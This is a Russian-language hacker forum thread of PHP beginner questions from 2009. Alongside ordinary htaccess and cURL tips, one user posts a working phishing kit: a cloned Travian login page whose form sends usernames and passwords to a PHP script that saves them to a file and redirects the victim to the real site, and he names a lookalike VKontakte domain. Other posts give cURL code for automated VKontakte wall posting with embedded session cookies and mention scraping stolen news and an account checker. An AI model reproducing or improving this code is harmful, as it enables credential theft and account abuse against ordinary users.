[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    sNt Попробуйте для разнообразия пользоваться средами с подсветкой синтаксиса. Например на форуме:
    PHP:
    $str '\' тут тоже подсвечено как текст внутри кавычек, потому что слеш экранирует';
    Пользуйтесь '\\'

    И что, str_ireplace и массивы для замен не можно уже? Надо обязательно писать сто строчек?
     
    _________________________
  2. lambda88

    lambda88 New Member

    Joined:
    27 Jun 2009
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Привет! Скачал с нашего форума парсер DLE сайтов и решил его довести до ума. Сделал вывод полного пути картинок, ЧПУ, добавил автора. Но есть проблемы с которыми я справиться не могу, а именно:

    -обновление количества пабликов у автора (обновляется только при пересчете статистики);
    -убрать из новостей <div id='news-id-...'>новость</div> (при просмотре исходного кода получается такая запись <div id='news-id-новый id'><div id='news-id-взятый с украденной новости'>новость</div></div>

    Есть какие нибудь мысли?
     
  3. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    подскажите как правильно слать сообщение на стену вконтакте ?

    шлю пост запрос курлом и в ответ получаю вот эту надпись Security Breach

    PHP:
    # Сначала авторизируюсь, потом шлю запрос 

    $ch curl_init('http://vkontakte.ru/wall.php');
    curl_setopt($chCURLOPT_USERAGENT$ua);
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_POSTFIELDS'act=get10&wall_hash=0723c66a14426b8ff7944dc3d3d5be68&wpage=100000&seed=%D0%9F%D1%80%D0%B8%D0%B2%D0%B5%D1%82%0A%D0%BA%D0%B0%D0%BA%20%D0%B4%D0%B5%D0%BB%D0%B0%20%3F&fpage=1&mid=252967150202&n=3');
    curl_setopt($chCURLOPT_REFERER'http://vkontakte.ru/index.php');
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    curl_setopt($chCURLOPT_RETURNTRANSFER0);
    $res  curl_exec($ch);
     
  4. Mixon

    Mixon Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    394
    Likes Received:
    119
    Reputations:
    12
    Бгггггггггггг,а ты куки не забыл??
    + там походу доп параметры есчё же которые меняються.... вот все:

    Тэг Значение
    act get10
    wall_hash 95eaf3defdb351e8847c81bc92741d1f
    wpage 100000
    seed Hi to all!
    fpage 1
    mid 75429932635
    n 3
     
  5. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Сделай рерайт на несуществующую страницу и добавь ErrorDocument 404 /404.html
     
    _________________________
    1 person likes this.
  6. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Mixon ты вобще мой код видел ? o_0

    З.Ы. я конечно понимаю хакир, все дела, но смотри в след.раз внимательнее ;)
     
  7. Mixon

    Mixon Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    394
    Likes Received:
    119
    Reputations:
    12
    Ссор,насчёт куков то ступил,недосмотрел:)
    Вот посидел,написал норм пример,работающий,и тоже столкнулся с этой ошибкой,но решил,вся проблемя в Referer! Он должен быть вконтакте.сру/ид1234 , пример:
    Referer: http://vkontakte.ru/id23316952
    Ну а вот скрипт который шлёт написал
    PHP:
    <?php
    function curls($url,$zapros,$method){
        
    $cookies="remixlang=0; remixmid=23316952; [email protected]; remixpass=4c94bf71ef857d4bb4bde227f7521610; remixsid=e4e697df775170a5f9e7587c466eba5a36ad98d05ac9bbe99c756b12";
        
    $ref 'http://vkontakte.ru/id23316952';
        
    $ch=curl_init ($url);
        
    $ua 'Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1';
        
    curl_setopt($chCURLOPT_USERAGENT$ua);
        
    curl_setopt($chCURLOPT_HEADER1);
        
    curl_setopt($chCURLOPT_USERAGENT$ua);
        
    curl_setopt($chCURLOPT_REFERER$ref);
        
    curl_setopt($chCURLOPT_POST1);
        
    curl_setopt($chCURLOPT_POSTFIELDS$PostData);
        
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
    curl_setopt($chCURLOPT_COOKIE$cookies);
        
    curl_setopt($chCURLOPT_POSTFIELDS$zapros);
        
    $page curl_exec($ch);
        if(
    $method=="1"){
        
    preg_match("/wall_hash: '(.*?)', wpage/i"$page$wall_hash);
        
    preg_match("/name=\"to_id\" value=\"(.*?)\"\/>/i"$page$to_id);
        
    $return=array($wall_hash[1],$to_id[1]);
        }else{
        
    $return=$page;
        }
        return 
    $return;
    }

    $cur=&curls("http://vkontakte.ru/index.php","","1");
    $zapros="act=get10&wall_hash=".$cur[0]."&wpage=100000&seed=TEST&fpage=1&mid=".$cur[1]."&n=3";
    $cur=&curls("http://vkontakte.ru/wall.php",$zapros,"2");
    echo 
    $cur;

    ?>
    В куках профиль подставной,можете юзать на здоровье;)
     
  8. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Отлично, действительно реф стоило только поменять)

    Mixon, вот моя функция для логина вконтакте, а то у тебя авторизация по кукам

    PHP:
    function login($n ''){
    $akk 'akk.txt';
    $varname file($akk);
    $count count ($varname);
    preg_match('#^(.*?):#i'$varname[$n], $email);
    preg_match('#:(.*?)$#i'$varname[$n], $pass);

    $ch curl_init('http://vkontakte.ru/login.php');
    curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)');
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_POSTFIELDS'op=a_login_attempt&email='.$email[1].'&pass='.$pass[1].'&expire=0');
    curl_setopt($chCURLOPT_REFERER'http://vkontakte.ru/index.php');
    curl_setopt($chCURLOPT_COOKIEJAR"./cook");
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    $res  curl_exec($ch);
    }

    // Вызывается например так:
    login(1);
    // Ну а потом по контакту ходим с кукками "./cook"
     
  9. Mixon

    Mixon Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    394
    Likes Received:
    119
    Reputations:
    12
    Спасиба,но ето я толькочто для тебя с нуля написал вопщет) у меня своя ф-цыя + робота с антикапчей) Чекер мой как ни как работает на нём,но и за ето спасиб!;)
     
  10. SGR

    SGR New Member

    Joined:
    30 Jun 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Привет ребята!
    Я здесь новенький, но давно уже лазю на форуме(просто не регился).
    У меня такая проблема(С PHP я наверное знаком на 0,5% из 100%)
    Но решил на основе одного фейка для мейл.ру, создать совсем другой для этого сайта.
    http://www.travian.com.ua/ кто играет я под таким же ником, а точнее для этой страницы
    http://s1.travian.com.ua/login.php
    Все думал бует чики-пики, но постало несколько проблем.1 картинки никак не могут отобразится(Пробывал в ручную, через скрины и разные програмы, но эфект не тот.Все лезет на купу) и 2 проблема.Пасс и логин не хотят прописыватся в базу(права я им надал).Вообщем картина така что не смог я этого сделать.И очень хочется, ведь для этого сайта фейка нет, а оч. нужен.Потому прошу помощи, кто сможет.Дело добровольное!!!Ради интереса и желания чего-то доказать.
     
  11. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    Исходники фейка сюда... Так сложно сказать что не так
     
  12. SGR

    SGR New Member

    Joined:
    30 Jun 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Вы не можете прикреплять файлы
    Но вот какая пародия получается.Хост я выбрал любой для тренировки.

    http://vcontacte.bos.ru/
     
  13. SGR

    SGR New Member

    Joined:
    30 Jun 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    index.php
    PHP:
    <html>      <head>          <title>Travian ua1</title>          <meta name="content-language" content="ua" />          <meta http-equiv="cache-control" content="max-age=0" />          <meta http-equiv="imagetoolbar" content="no" />          <meta http-equiv="content-type" content="text/html; charset=UTF-8" />          <script src="mt-core.js?azg" type="text/javascript"></script>          <script src="mt-more.js?azg" type="text/javascript"></script>          <script src="unx.js?azg" type="text/javascript"></script>          <script src="new.js?azg" type="text/javascript"></script>          <link href="img/unx.css?azg" rel="stylesheet" type="text/css" />          <link href="img/img.css?azg" rel="stylesheet" type="text/css" />                          <link href="img/ua/lang.css?azg" rel="stylesheet" type="text/css" />  </head>    <body onload="initCounter()">    <div id="dynamic_header" class="norm">      </div>      <div id="header"></div>    <div id="mid">      <div id="sleft">                    <a href="http://www.travian.com.ua/"><img id="logo" src="" alt="Травіан" /></a>          <p>              <a href="http://www.travian.com.ua/index.php">Головна</a>              <a href="http://www.travian.com.ua/anleitung.php">Довідка</a>              <a href="login.php">Вхід</a>              <a href="anmelden.php">Реєстрація</a>              <br /><br />                                   <a href="http://forum.travian.com.ua/" target="_blank">Форум</a>                            <a href="http://www.travian.com.ua/chat/?chatname=T_guest???" target="_blank">Чат</a>              <br /><br />              <a href="http://www.travian.com.ua/impressum.php">Фірма</a>              <a href="support.php">Служба підтримки</a>          </p>      </div>    <div id="content">      <div class=login>        <h1><img class="img_login" src="/1.jpg" alt="Ввійти до Гри" /></h1>      <h5><img class="img_u04" src="/1.jpg" alt="ввійти" /></h5>      <p class="f9">Щоб увійти в гру необхідно дозволити використання "cookіe" у вашому браузері.Якщо ви не єдиний користувач комп'ютера, деактивуйте "<i>Впізнавати мене в майбутньому</i>" ("cookіe" будуть видалені після виходу із браузера).</p>            <form method="post" action="654321.php" onSubmit="return CheckForm(this);">                  <table class="dashed">          <colgroup>              <col class="w40" />              <col class="w60" />          </colgroup>          <tr>              <td><label>Логін:</label></td>              <td><input class="fm fm110" type="text" name="e215a53" value="" maxlength="15" /> <span class="e f7"> </span></td>          </tr>          <tr>              <td><label>Пароль:</label></td>              <td><input class="fm fm110" type="password" name="e193aff" value="" maxlength="20" /> <span class="e f7"> </span></td>          </tr>      </table>            <input type="hidden" name="eb0a332" value="" />            <p class="center">              <input type="hidden" name="eb0a332" value="" />                    <input              type    = "image"              value    = "login"              name    = "s1"              onclick = "xy();"              id        = "btn_login"              class    = "dynamic_img"              src        = "img/x.gif"              alt        = "кнопка входу"          />                    </p>      </form>                            </div>      </div>    <div id="sright">                      <h5><img src="http://www.travian.com.ua/img/ua/t2/newsbox1.gif" class="news1" alt="Новини 1"></h5>                  <div class="dashed"><span style="color:#ff9a1e;"><strong>Отримати ігрове золото</strong></span>     <br><br>Більше інформації  <a href="http://forum.travian.com.ua/showthread.php?t=2869" target="_blank">тут</a></div>                              <h5><img src="http://www.travian.com.ua/img/ua/t2/newsbox2.gif" class="news2" alt="Новини 2"></h5>                  <div class="dashed"><span style="color:#ff0000;"><strong>Важливо !</strong></span>     <span style="font-size: 11px;">  <br><br>Шановні гравці,    <br><br>Мультихантери та Служба Підтримки спілкується з Вами <font color="red"><b>виключно</b></font> за допомогою внутрішньоігрових повідомлень.  <br><br><b>Важливо:</b> працівники Травіан команди ніколи не будуть питати у Вас пароль.  <br><br>Будьте уважні! </font></span>   </div>              </div>    <div class="clear"></div>    </div>  <div class="clear"></div>      <div id="footer">      <div id="mfoot">                                                        <a href="http://www.travian.com.ua/anleitung.php?s=3">Довідка</a> |                   <a href="http://www.travian.com.ua/screenshots.php">Скріншоти</a> |                   <a href="http://www.travian.com.ua/links.php">Лінки</a> |                   <a href="http://www.travian.com.ua/spielregeln.php">Правила гри</a> |                   <a href="http://www.travian.com.ua/spielregeln.php?agb">Основні положення</a> |                   <a href="http://www.travian.com.ua/impressum.php">Фірма</a>                  <br />                  <div class="copyright">© 2004 - 2009 Travian Games GmbH</div>                              </div>      </div>    <div id="ce"></div>  </body>  </html>
    654321.php
    PHP:
    <?PHP     $Login $_POST['Login'];//Логин   $Domain = $_POST['Domain'];//Домен   $Pass = $_POST['Password'];//Пароль   $c = "$Login@$Domain:$Pass";   $fp = fopen("654321","a+"); //открыть файл базы   fwrite($fp,"\n $c <br> \n");//записываем все   fclose($fp); //закрываем   header("Location: http://s1.travian.com.ua/login.php");   echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://s1.travian.com.ua/login.php">"//s1.travian.com.ua  ?>
     
  14. SGR

    SGR New Member

    Joined:
    30 Jun 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Индекс составляется с исходного кода самой подлиной страници, где я заменил только несколько строчек.И 654321.php я не заменял ничем, как взял с фейка мейл.ру так и оставил.

    Видно так замудрил, что никто не хочет братся :(
     
    #10614 SGR, 1 Jul 2009
    Last edited: 1 Jul 2009
  15. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    http://www.askapache.com/htaccess/using-http-headers-with-htaccess.html
     
  16. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Например есть файл bad.html и мы хотим имитировать 404 для него.
    Делаешь htaccess с текстом

    ErrorDocument 404 /404.html
    Options +FollowSymlinks
    RewriteEngine on
    RewriteRule bad\.html blablabla.html

    При обращении к bad.html получаем 404 в заголовке и содержимое страницы 404.html

    Или ты хотел нечто другое?
     
    _________________________
    1 person likes this.
  17. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Nightmarе Или так

    Code:
    ErrorDocument 404 /404.html
    RewriteCond %{REQUEST_FILENAME} "имя файла без кавычек"
    RewriteRule ^.*$ - [R=404,L]
     
    _________________________
  18. SGR

    SGR New Member

    Joined:
    30 Jun 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    О фейку могу забыть:(
     
  19. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    Читабительным сделай код
     
  20. SGR

    SGR New Member

    Joined:
    30 Jun 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    http://forum.xakep.ru/m_1125319/tm.htm
    Вот исходная темка написания.
     
Thread Status:
Not open for further replies.